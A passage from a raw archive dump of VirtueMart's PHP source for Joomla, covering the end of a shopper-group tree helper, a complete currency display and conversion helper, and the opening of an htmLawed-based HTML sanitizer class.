@static * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return unknown */ function getGroupChildrenTree( $root_id=null, $root_name=null, $inclusive=true ) { global $database, $_VERSION; $tree = ps_perm::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', $root_id, $root_name, $inclusive ); // first pass get level limits $n = count( $tree ); $min = $tree[0]->level; $max = $tree[0]->level; for ($i=0; $i < $n; $i++) { $min = min( $min, $tree[$i]->level ); $max = max( $max, $tree[$i]->level ); } $indents = array(); foreach (range( $min, $max ) as $i) { $indents[$i] = '      '; } // correction for first indent $indents[$min] = ''; $list = array(); for ($i=$n-1; $i >= 0; $i--) { $shim = ''; foreach (range( $min, $tree[$i]->level ) as $j) { $shim .= $indents[$j]; } if (@$indents[$tree[$i]->level+1] == '. ') { $twist = ' '; } else { $twist = "- "; } if( $_VERSION->PRODUCT == 'Joomla!' && $_VERSION->RELEASE >= 1.5 ) { $tree[$i]->virtuemart_shoppergroup_id = $tree[$i]->id; } $list[$tree[$i]->virtuemart_shoppergroup_id] = $shim.$twist.$tree[$i]->name; if ($tree[$i]->level < @$tree[$i-1]->level) { $indents[$tree[$i]->level+1] = '. '; } } ksort($list); return $list; } } //pure php no closing tagPK@y>\ &HLL5components/com_virtuemart/helpers/currencydisplay.phpnuW+A_app = JFactory::getApplication(); if(empty($vendorId)) $vendorId = 1; $this->_db = JFactory::getDBO(); $q = 'SELECT `vendor_currency`,`currency_code_3`,`currency_numeric_code` FROM `#__virtuemart_vendors` AS v LEFT JOIN `#__virtuemart_currencies` AS c ON virtuemart_currency_id = vendor_currency WHERE v.`virtuemart_vendor_id`="'.(int)$vendorId.'"'; $this->_db->setQuery($q); $row = $this->_db->loadRow(); $this->_vendorCurrency = $row[0]; $this->_vendorCurrency_code_3 = $row[1]; $this->_vendorCurrency_numeric = (int)$row[2]; //vmdebug('$row ',$row); $converterFile = VmConfig::get('currency_converter_module','convertECB.php'); if (file_exists( JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile ) and !is_dir(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile)) { $module_filename=substr($converterFile, 0, -4); require_once(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile); if( class_exists( $module_filename )) { $this->_currencyConverter = new $module_filename(); } } else { if(!class_exists('convertECB')) require(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.'convertECB.php'); $this->_currencyConverter = new convertECB(); } } /** * * Gives back the format of the currency, gets $style if none is set, with the currency Id, when nothing is found it tries the vendorId. * When no param is set, you get the format of the mainvendor * * @author Max Milbers * @param int $currencyId Id of the currency * @param int $vendorId Id of the vendor * @param string $style The vendor_currency_display_code * FORMAT: 1: id, 2: CurrencySymbol, 3: NumberOfDecimalsAfterDecimalSymbol, 4: DecimalSymbol, 5: Thousands separator 6: Currency symbol position with Positive values : 7: Currency symbol position with Negative values : EXAMPLE: ||€|2|,||1|8 * @return string */ static public function getInstance($currencyId=0,$vendorId=0){ // if(empty(self::$_instance) || empty(self::$_instance->_currency_id) || ($currencyId!=self::$_instance->_currency_id && !empty($currencyId)) ){ if(empty(self::$_instance) || (!empty($currencyId) and $currencyId!=self::$_instance->_currency_id) ){ self::$_instance = new CurrencyDisplay($vendorId); if(empty($currencyId)){ if(self::$_instance->_app->isSite()){ self::$_instance->_currency_id = self::$_instance->_app->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id', 0)); } if(empty(self::$_instance->_currency_id)){ self::$_instance->_currency_id = self::$_instance->_vendorCurrency; } } else { self::$_instance->_currency_id = $currencyId; } $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.(int)self::$_instance->_currency_id.'"'; self::$_instance->_db->setQuery($q); $style = self::$_instance->_db->loadObject(); if(!empty($style)){ self::$_instance->setCurrencyDisplayToStyleStr($style); } else { $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart'); if(empty(self::$_instance->_currency_id)){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=user&task=editshop'; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED',''.$link.'')); } else{ if(JRequest::getWord('view')!='currency'){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=currency&task=edit&cid[]='.self::$_instance->_currency_id; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED',''.$link.'')); } } // self::$_instance->setCurrencyDisplayToStyleStr($currencyId); //would be nice to automatically unpublish the product/currency or so } } self::$_instance->setPriceArray(); return self::$_instance; } /** * Parse the given currency display string into the currency diplsy values. * * This function takes the currency style string as saved in the vendor * record and parses it into its appropriate values. An example style * string would be 1|€|2|,|.|0|0 * * @author Max Milbers * @param String $currencyStyle String containing the currency display settings */ private function setCurrencyDisplayToStyleStr($style) { //vmdebug('setCurrencyDisplayToStyleStr ',$style); $this->_currency_id = $style->virtuemart_currency_id; $this->_symbol = $style->currency_symbol; $this->_nbDecimal = $style->currency_decimal_place; $this->_decimal = $style->currency_decimal_symbol; $this->_numeric_code = (int)$style->currency_numeric_code; $this->_thousands = $style->currency_thousands; $this->_positivePos = $style->currency_positive_style; $this->_negativePos = $style->currency_negative_style; } /** * This function sets an array, which holds the information if * a price is to be shown and the number of rounding digits * * @author Max Milbers */ function setPriceArray(){ if(count($this->_priceConfig)>0)return true; if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $user = JFactory::getUser(); $result = false; if(!empty($user->id)){ $q = 'SELECT `vx`.`virtuemart_shoppergroup_id` FROM `#__virtuemart_vmusers` as `u` LEFT OUTER JOIN `#__virtuemart_vmuser_shoppergroups` AS `vx` ON `u`.`virtuemart_user_id` = `vx`.`virtuemart_user_id` LEFT OUTER JOIN `#__virtuemart_shoppergroups` AS `sg` ON `vx`.`virtuemart_shoppergroup_id` = `sg`.`virtuemart_shoppergroup_id` WHERE `u`.`virtuemart_user_id` = "'.$user->id.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); } if(!$result){ $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`default` = "'.($user->guest+1).'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } else { $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`virtuemart_shoppergroup_id` = "'.$result.'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } if(!empty($result[0])){ $result[0] = unserialize($result[0]); } $custom_price_display = 0; if(!empty($result[1])){ $custom_price_display = $result[1]; } if($custom_price_display && !empty($result[0])){ $show_prices = $result[0]->get('show_prices',VmConfig::get('show_prices', 1)); // vmdebug('$result[0]',$result[0],$show_prices); } else { $show_prices = VmConfig::get('show_prices', 1); } $priceFields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); if($show_prices==1){ foreach($priceFields as $name){ $show = 0; $round = 0; $text = 0; //Here we check special settings of the shoppergroup // $result = unserialize($result); if($custom_price_display==1){ $show = (int)$result[0]->get($name); $round = (int)$result[0]->get($name.'Rounding'); $text = $result[0]->get($name.'Text'); // vmdebug('$custom_price_display'); } else { $show = VmConfig::get($name,0); $round = VmConfig::get($name.'Rounding',2); $text = VmConfig::get($name.'Text',0); // vmdebug('$config_price_display'); } //Map to currency if($round==-1){ $round = $this->_nbDecimal; //vmdebug('Use currency rounding '.$round); } $this->_priceConfig[$name] = array($show,$round,$text); } } else { foreach($priceFields as $name){ $this->_priceConfig[$name] = array(0,0,0); } } // vmdebug('$this->_priceConfig',$this->_priceConfig); } /** * getCurrencyForDisplay: get The actual displayed Currency * Use this only in a view, plugin or modul, never in a model * * @param integer $currencyId * return integer $currencyId: displayed Currency * */ public function getCurrencyForDisplay( $currencyId=0 ){ if(empty($currencyId)){ $currencyId = (int)$this->_app->getUserStateFromRequest( 'virtuemart_currency_id', 'virtuemart_currency_id',$this->_vendorCurrency ); if(empty($currencyId)){ $currencyId = $this->_vendorCurrency; } } return $currencyId; } /** * This function is for the gui only! * Use this only in a view, plugin or modul, never in a model * TODO for vm2.2 remove quantity option * @param float $price * @param integer $currencyId * return string formatted price */ public function priceDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $price = $this->roundForDisplay($price,$currencyId, $quantity ,$inToShopCurrency, $nb); return $this->getFormattedCurrency($price,$nb); } public function roundForDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $currencyId = $this->getCurrencyForDisplay($currencyId); if($nb==-1){ $nb = $this->_nbDecimal; } $price = (float)$price * (float)$quantity; $price = $this->convertCurrencyTo($currencyId,$price,$inToShopCurrency); if($this->_numeric_code===756 and VmConfig::get('rappenrundung',FALSE)=="1"){ $price = round((float)$price * 2,1) * 0.5; } else { $price = round($price,$nb); } return $price; } /** * Format, Round and Display Value * @author Max Milbers * @param val number */ public function getFormattedCurrency( $nb, $nbDecimal=-1){ //TODO $this->_nbDecimal is the config of the currency and $nbDecimal is the config of the price type. if($nbDecimal==-1) $nbDecimal = $this->_nbDecimal; if($nb>=0){ $format = $this->_positivePos; $sign = '+'; } else { $format = $this->_negativePos; $sign = '-'; $nb = abs($nb); } //$res = $this->formatNumber($nb, $nbDecimal, $this->_thousands, $this->_decimal); $res = number_format((float)$nb,(int)$nbDecimal,$this->_decimal,$this->_thousands); $search = array('{sign}', '{number}', '{symbol}'); $replace = array($sign, $res, $this->_symbol); $formattedRounded = str_replace ($search,$replace,$format); return $formattedRounded; } /** * function to create a div to show the prices, is necessary for JS * * @author Max Milbers * @author Patrick Kohl * @param string name of the price * @param String description key * @param array the prices of the product * return a div for prices which is visible according to config and have all ids and class set */ public function createPriceDiv($name,$description,$product_price,$priceOnly=false,$switchSequel=false,$quantity = 1.0,$forceNoLabel=false){ // vmdebug('createPriceDiv '.$name,$product_price[$name]); if(empty($product_price) and $name != 'billTotal' and $name != 'billTaxAmount') return ''; //The fallback, when this price is not configured if(empty($this->_priceConfig[$name])){ $this->_priceConfig[$name] = $this->_priceConfig['salesPrice']; } //This is a fallback because we removed the "salesPriceWithDiscount" ; if(is_array($product_price)){ $price = $product_price[$name] ; } else { $price = $product_price; } //This could be easily extended by product specific settings if(!empty($this->_priceConfig[$name][0])){ if(!empty($price) or $name == 'billTotal' or $name == 'billTaxAmount'){ $vis = "block"; $priceFormatted = $this->priceDisplay($price,0,(float)$quantity,false,$this->_priceConfig[$name][1],$name ); } else { $priceFormatted = ''; $vis = "none"; } if($priceOnly){ return $priceFormatted; } if($forceNoLabel) { return '
      '.$priceFormatted.'
      '; } $descr = ''; if($this->_priceConfig[$name][2]) $descr = JText::_($description); // vmdebug('createPriceDiv $name '.$name.' '.$product_price[$name]); if(!$switchSequel){ return '
      '.$descr.''.$priceFormatted.'
      '; } else { return '
      '.$priceFormatted.''.$descr.'
      '; } } } /** * * @author Max Milbers * @param unknown_type $currency * @param unknown_type $price * @param unknown_type $shop */ function convertCurrencyTo($currency,$price,$shop=true){ if(empty($currency)){ // vmdebug('empty $currency ',$price); return $price; } // If both currency codes match, do nothing if( (is_Object($currency) and $currency->_currency_id == $this->_vendorCurrency) or (!is_Object($currency) and $currency == $this->_vendorCurrency)) { // vmdebug(' $currency == $this->_vendorCurrency ',$price); return $price; } if(is_Object($currency)){ $exchangeRate = (float)$currency->exchangeRateShopper; vmdebug('convertCurrencyTo OBJECT '.$exchangeRate); } else { static $currency_exchange_rate = array(); if(!isset($currency_exchange_rate[$currency])){ $q = 'SELECT `currency_exchange_rate` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` ="'.(int)$currency.'" '; $this->_db->setQuery($q); $currency_exchange_rate[$currency] = (float)$this->_db->loadResult(); } if(!empty($currency_exchange_rate[$currency])){ $exchangeRate = $currency_exchange_rate[$currency]; } else { $exchangeRate = 0; } } if(!empty($exchangeRate) ){ if($shop){ $price = $price / $exchangeRate; } else { $price = $price * $exchangeRate; } } else { $currencyCode = self::ensureUsingCurrencyCode($currency); $vendorCurrencyCode = self::ensureUsingCurrencyCode($this->_vendorCurrency); $globalCurrencyConverter=JRequest::getVar('globalCurrencyConverter'); if($shop){ $price = $this ->_currencyConverter->convert( $price, $currencyCode, $vendorCurrencyCode); //vmdebug('convertCurrencyTo Use dynamic rate in shop '.$oldprice .' => '.$price); } else { //vmdebug('convertCurrencyTo Use dynamic rate to shopper currency '.$price); $price = $this ->_currencyConverter->convert( $price , $vendorCurrencyCode, $currencyCode); } // vmdebug('convertCurrencyTo my currency ',$this->exchangeRateShopper); } return $price; } /** * Changes the virtuemart_currency_id into the right currency_code * For exampel 47 => EUR * * @author Max Milbers * @author Frederic Bidon */ function ensureUsingCurrencyCode($curr){ if(is_numeric($curr) and $curr!=0){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyByID($curr,'currency_code_3'); } return $curr; } /** * Changes the currency_code into the right virtuemart_currency_id * For exampel 'currency_code_3' : EUR => 47 * * @author Max Milbers * @author Kohl Patrick */ function getCurrencyIdByField($value=0,$fieldName ='currency_code_3'){ if(is_string($value) ){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyIDByName($value,$fieldName); } return $value; } /** * * @author Horvath, Sandor [HU] http://de.php.net/manual/de/function.number-format.php * @author Max Milbers * @param double $number * @param int $decimals * @param string $thousand_separator * @param string $decimal_point */ function formatNumber($number, $decimals = 2, $decimal_point = '.', $thousand_separator = ' ' ){ // $tmp1 = round((float) $number, $decimals); return number_format($number,$decimals,$decimal_point,$thousand_separator); // while (($tmp2 = preg_replace('/(\d+)(\d\d\d)/', '\1 \2', $tmp1)) != $tmp1){ // $tmp1 = $tmp2; // } // // return strtr($tmp1, array(' ' => $thousand_separator, '.' => $decimal_point)); } /** * Return the currency symbol */ public function getSymbol() { return($this->_symbol); } /** * Return the currency ID */ public function getId() { return($this->_currency_id); } /** * Return the number of decimal places * * @author RickG * @return int Number of decimal places */ public function getNbrDecimals() { return($this->_nbDecimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getDecimalSymbol() { return($this->_decimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getThousandsSeperator() { return($this->_thousands); } /** * Return the positive format * * @author RickG * @return string Positive number format */ public function getPositiveFormat() { return($this->_positivePos); } /** * Return the negative format * * @author RickG * @return string Negative number format */ public function getNegativeFormat() { return($this->_negativePos); } } // pure php no closing tag PK@y>\{DD.components/com_virtuemart/helpers/vmfilter.phpnuW+A1, 'elements'=>'a, b, strong, i, em, li, ol, ul')); See htmLawed_README.txt/htm only good for HTML filtering needed in MultiVendor editing Product/category ... */ class vmFilter{ private static $C=null; private static $E=null; private static $S=null; private static $hl_Ids=null; // begin class public static function hl($t, $C=null, $S=array()){ if ( is_string($C) ) $C = vmFilter::loadconfig($C); $C = is_array($C) ? $C : array(); if(!empty($C['valid_xhtml'])){ $C['elements'] = empty($C['elements']) ? '*-center-dir-font-isindex-menu-s-strike-u' : $C['elements']; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 2; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 2; } // config eles $e = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'applet'=>1, 'area'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'blockquote'=>1, 'br'=>1, 'button'=>1, 'caption'=>1, 'center'=>1, 'cite'=>1, 'code'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'del'=>1, 'dfn'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'dt'=>1, 'em'=>1, 'embed'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'isindex'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'object'=>1, 'ol'=>1, 'optgroup'=>1, 'option'=>1, 'p'=>1, 'param'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'table'=>1, 'tbody'=>1, 'td'=>1, 'textarea'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'tt'=>1, 'u'=>1, 'ul'=>1, 'var'=>1); // 86/deprecated+embed+ruby if(!empty($C['safe'])){ unset($e['applet'], $e['embed'], $e['iframe'], $e['object'], $e['script']); } $x = !empty($C['elements']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['elements']) : '*'; if($x == '-*'){ $e = array(); } elseif(strpos($x, '*') === false){ $e = array_flip(explode(',', $x)); } else{ if(isset($x[1])){ preg_match_all('`(?:^|-|\+)[^\-+]+?(?=-|\+|$)`', $x, $m, PREG_SET_ORDER); for($i=count($m); --$i>=0;){ $m[$i] = $m[$i][0]; } foreach($m as $v){ if($v[0] == '+'){ $e[substr($v, 1)] = 1; } if($v[0] == '-' && isset($e[($v = substr($v, 1))]) && !in_array('+'. $v, $m)){ unset($e[$v]); } } } } $C['elements'] =& $e; // config attrs $x = !empty($C['deny_attribute']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['deny_attribute']) : ''; $x = array_flip((isset($x[0]) && $x[0] == '*') ? explode('-', $x) : explode(',', $x. (!empty($C['safe']) ? ',on*' : ''))); if(isset($x['on*'])){ unset($x['on*']); $x += array('onblur'=>1, 'onchange'=>1, 'onclick'=>1, 'ondblclick'=>1, 'onfocus'=>1, 'onkeydown'=>1, 'onkeypress'=>1, 'onkeyup'=>1, 'onmousedown'=>1, 'onmousemove'=>1, 'onmouseout'=>1, 'onmouseover'=>1, 'onmouseup'=>1, 'onreset'=>1, 'onselect'=>1, 'onsubmit'=>1); } $C['deny_attribute'] = $x; // config URL $x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')) ? strtolower($C['schemes']) : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https'; $C['schemes'] = array(); foreach(explode(';', str_replace(array(' ', "\t", "\r", "\n"), '', $x)) as $v){ $x = $x2 = null; list($x, $x2) = explode(':', $v, 2); if($x2){ $C['schemes'][$x] = array_flip(explode(',', $x2)); } } if(!isset($C['schemes']['*'])){ $C['schemes']['*'] = array('file'=>1, 'http'=>1, 'https'=>1,); } if(!empty($C['safe']) && empty($C['schemes']['style'])){ $C['schemes']['style'] = array('!'=>1); } $C['abs_url'] = isset($C['abs_url']) ? $C['abs_url'] : 0; if(!isset($C['base_url']) or !preg_match('`^[a-zA-Z\d.+\-]+://[^/]+/(.+?/)?$`', $C['base_url'])){ $C['base_url'] = $C['abs_url'] = 0; } // config rest $C['and_mark'] = empty($C['and_mark']) ? 0 : 1; $C['anti_link_spam'] = (isset($C['anti_link_spam']) && is_array($C['anti_link_spam']) && count($C['anti_link_spam']) == 2 && (empty($C['anti_link_spam'][0]) or vmFilter::hl_regex($C['anti_link_spam'][0])) && (empty($C['anti_link_spam'][1]) or vmFilter::hl_regex($C['anti_link_spam'][1]))) ? $C['anti_link_spam'] : 0; $C['anti_mail_spam'] = isset($C['anti_mail_spam']) ? $C['anti_mail_spam'] : 0; $C['balance'] = isset($C['balance']) ? (bool)$C['balance'] : 1; $C['cdata'] = isset($C['cdata']) ? $C['cdata'] : (empty($C['safe']) ? 3 : 0); $C['clean_ms_char'] = empty($C['clean_ms_char']) ? 0 : $C['clean_ms_char']; $C['comment'] = isset($C['comment']) ? $C['comment'] : (empty($C['safe']) ? 3 : 0); $C['css_expression'] = empty($C['css_expression']) ? 0 : 1; $C['direct_list_nest'] = empty($C['direct_list_nest']) ? 0 : 1; $C['hexdec_entity'] = isset($C['hexdec_entity']) ? $C['hexdec_entity'] : 1; $C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0; $C['hook_tag'] = (!empty($C['hook_tag']) && function_exists($C['hook_tag'])) ? $C['hook_tag'] : 0; $C['keep_bad'] = isset($C['keep_bad']) ? $C['keep_bad'] : 6; $C['lc_std_val'] = isset($C['lc_std_val']) ? (bool)$C['lc_std_val'] : 1; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 1; $C['named_entity'] = isset($C['named_entity']) ? (bool)$C['named_entity'] : 1; $C['no_deprecated_attr'] = isset($C['no_deprecated_attr']) ? $C['no_deprecated_attr'] : 1; $C['parent'] = isset($C['parent'][0]) ? strtolower($C['parent']) : 'body'; $C['show_setting'] = !empty($C['show_setting']) ? $C['show_setting'] : 0; $C['style_pass'] = empty($C['style_pass']) ? 0 : 1; $C['tidy'] = empty($C['tidy']) ? 0 : $C['tidy']; $C['unique_ids'] = isset($C['unique_ids']) ? $C['unique_ids'] : 1; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 0; if(!is_null(vmFilter::$C)){ $reC = vmFilter::$C; } vmFilter::$C = $C; $S = is_array($S) ? $S : vmFilter::$hl_spec($S); if(!is_null(vmFilter::$S)){ $reS = vmFilter::$S; } vmFilter::$S = $S; $t = preg_replace('`[\x00-\x08\x0b-\x0c\x0e-\x1f]`', '', $t); if($C['clean_ms_char']){ $x = array("\x7f"=>'', "\x80"=>'€', "\x81"=>'', "\x83"=>'ƒ', "\x85"=>'…', "\x86"=>'†', "\x87"=>'‡', "\x88"=>'ˆ', "\x89"=>'‰', "\x8a"=>'Š', "\x8b"=>'‹', "\x8c"=>'Œ', "\x8d"=>'', "\x8e"=>'Ž', "\x8f"=>'', "\x90"=>'', "\x95"=>'•', "\x96"=>'–', "\x97"=>'—', "\x98"=>'˜', "\x99"=>'™', "\x9a"=>'š', "\x9b"=>'›', "\x9c"=>'œ', "\x9d"=>'', "\x9e"=>'ž', "\x9f"=>'Ÿ'); $x = $x + ($C['clean_ms_char'] == 1 ? array("\x82"=>'‚', "\x84"=>'„', "\x91"=>'‘', "\x92"=>'’', "\x93"=>'“', "\x94"=>'”') : array("\x82"=>'\'', "\x84"=>'"', "\x91"=>'\'', "\x92"=>'\'', "\x93"=>'"', "\x94"=>'"')); $t = strtr($t, $x); } if($C['cdata'] or $C['comment']){ $t = preg_replace_callback('``sm', 'vmFilter::hl_cmtcd', $t); } $t = preg_replace_callback('`&([A-Za-z][A-Za-z0-9]{1,30}|#(?:[0-9]{1,8}|[Xx][0-9A-Fa-f]{1,7}));`', 'vmFilter::hl_ent', str_replace('&', '&', $t)); if($C['unique_ids'] && is_null(vmFilter::$hl_Ids)){ vmFilter::$hl_Ids = array(); } if($C['hook']){ $t = $C['hook']($t, $C, $S); } if($C['show_setting'] && preg_match('`^[a-z][a-z0-9_]*$`i', $C['show_setting'])){ vmFilter::$C['show_setting'] = array('config'=>$C, 'spec'=>$S, 'time'=>microtime()); } // main $t = preg_replace_callback('`<(?:(?:\s|$)|(?:[^>]*(?:>|$)))|>`m', 'vmFilter::hl_tag', $t); $t = $C['balance'] ? vmFilter::hl_bal($t, $C['keep_bad'], $C['parent']) : $t; $t = (($C['cdata'] or $C['comment']) && strpos($t, "\x01") !== false) ? str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05"), array('', '', '&', '<', '>'), $t) : $t; $t = $C['tidy'] ? vmFilter::hl_tidy($t, $C['tidy'], $C['parent']) : $t; unset($C, $e); if(isset($reC)){ vmFilter::$C = $reC; } if(isset($reS)){ vmFilter::$S = $reS; } return $t; // eof } public static function hl_attrval($t, $p){ // check attr val against $S $o = 1; $l = strlen($t); foreach($p as $k=>$v){ switch($k){ case 'maxlen':if($l > $v){ $o = 0; } break; case 'minlen': if($l < $v){ $o = 0; } break; case 'maxval': if((float)($t) > $v){ $o = 0; } break; case 'minval': if((float)($t) < $v){ $o = 0; } break; case 'match': if(!preg_match($v, $t)){ $o = 0; } break; case 'nomatch': if(preg_match($v, $t)){ $o = 0; } break; case 'oneof': $m = 0; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 1; break; } } $o = $m; break; case 'noneof': $m = 1; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 0; break; } } $o = $m; break; default: break; } if(!$o){ break; } } return ($o ? $t : (isset($p['default']) ? $p['default'] : 0)); // eof } public static function hl_bal($t, $do=1, $in='div'){ // balance tags // by content $cB = array('blockquote'=>1, 'form'=>1, 'map'=>1, 'noscript'=>1); // Block $cE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty $cF = array('button'=>1, 'del'=>1, 'div'=>1, 'dd'=>1, 'fieldset'=>1, 'iframe'=>1, 'ins'=>1, 'li'=>1, 'noscript'=>1, 'object'=>1, 'td'=>1, 'th'=>1); // Flow; later context-wise dynamic move of ins & del to $cI $cI = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'caption'=>1, 'cite'=>1, 'code'=>1, 'dfn'=>1, 'dt'=>1, 'em'=>1, 'font'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'i'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'p'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rt'=>1, 's'=>1, 'samp'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); // Inline $cN = array('a'=>array('a'=>1), 'button'=>array('a'=>1, 'button'=>1, 'fieldset'=>1, 'form'=>1, 'iframe'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'fieldset'=>array('fieldset'=>1), 'form'=>array('form'=>1), 'label'=>array('label'=>1), 'noscript'=>array('script'=>1), 'pre'=>array('big'=>1, 'font'=>1, 'img'=>1, 'object'=>1, 'script'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1), 'rb'=>array('ruby'=>1), 'rt'=>array('ruby'=>1)); // Illegal $cN2 = array_keys($cN); $cR = array('blockquote'=>1, 'dir'=>1, 'dl'=>1, 'form'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'select'=>1, 'table'=>1, 'tbody'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); $cS = array('colgroup'=>array('col'=>1), 'dir'=>array('li'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'menu'=>array('li'=>1), 'ol'=>array('li'=>1), 'optgroup'=>array('option'=>1), 'option'=>array('#pcdata'=>1), 'rbc'=>array('rb'=>1), 'rp'=>array('#pcdata'=>1), 'rtc'=>array('rt'=>1), 'ruby'=>array('rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1), 'select'=>array('optgroup'=>1, 'option'=>1), 'script'=>array('#pcdata'=>1), 'table'=>array('caption'=>1, 'col'=>1, 'colgroup'=>1, 'tfoot'=>1, 'tbody'=>1, 'tr'=>1, 'thead'=>1), 'tbody'=>array('tr'=>1), 'tfoot'=>array('tr'=>1), 'textarea'=>array('#pcdata'=>1), 'thead'=>array('tr'=>1), 'tr'=>array('td'=>1, 'th'=>1), 'ul'=>array('li'=>1)); // Specific - immediate parent-child if(vmFilter::$C['direct_list_nest']){ $cS['ol'] = $cS['ul'] += array('ol'=>1, 'ul'=>1); } $cO = array('address'=>array('p'=>1), 'applet'=>array('param'=>1), 'blockquote'=>array('script'=>1), 'fieldset'=>array('legend'=>1, '#pcdata'=>1), 'form'=>array('script'=>1), 'map'=>array('area'=>1), 'object'=>array('param'=>1, 'embed'=>1)); // Other $cT = array('colgroup'=>1, 'dd'=>1, 'dt'=>1, 'li'=>1, 'option'=>1, 'p'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1); // Omitable closing // block/inline type; ins & del both type; #pcdata: text $eB = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'del'=>1, 'dir'=>1, 'dl'=>1, 'div'=>1, 'fieldset'=>1, 'form'=>1, 'ins'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'isindex'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'table'=>1, 'ul'=>1); $eI = array('#pcdata'=>1, 'a'=>1, 'abbr'=>1, 'acronym'=>1, 'applet'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'br'=>1, 'button'=>1, 'cite'=>1, 'code'=>1, 'del'=>1, 'dfn'=>1, 'em'=>1, 'embed'=>1, 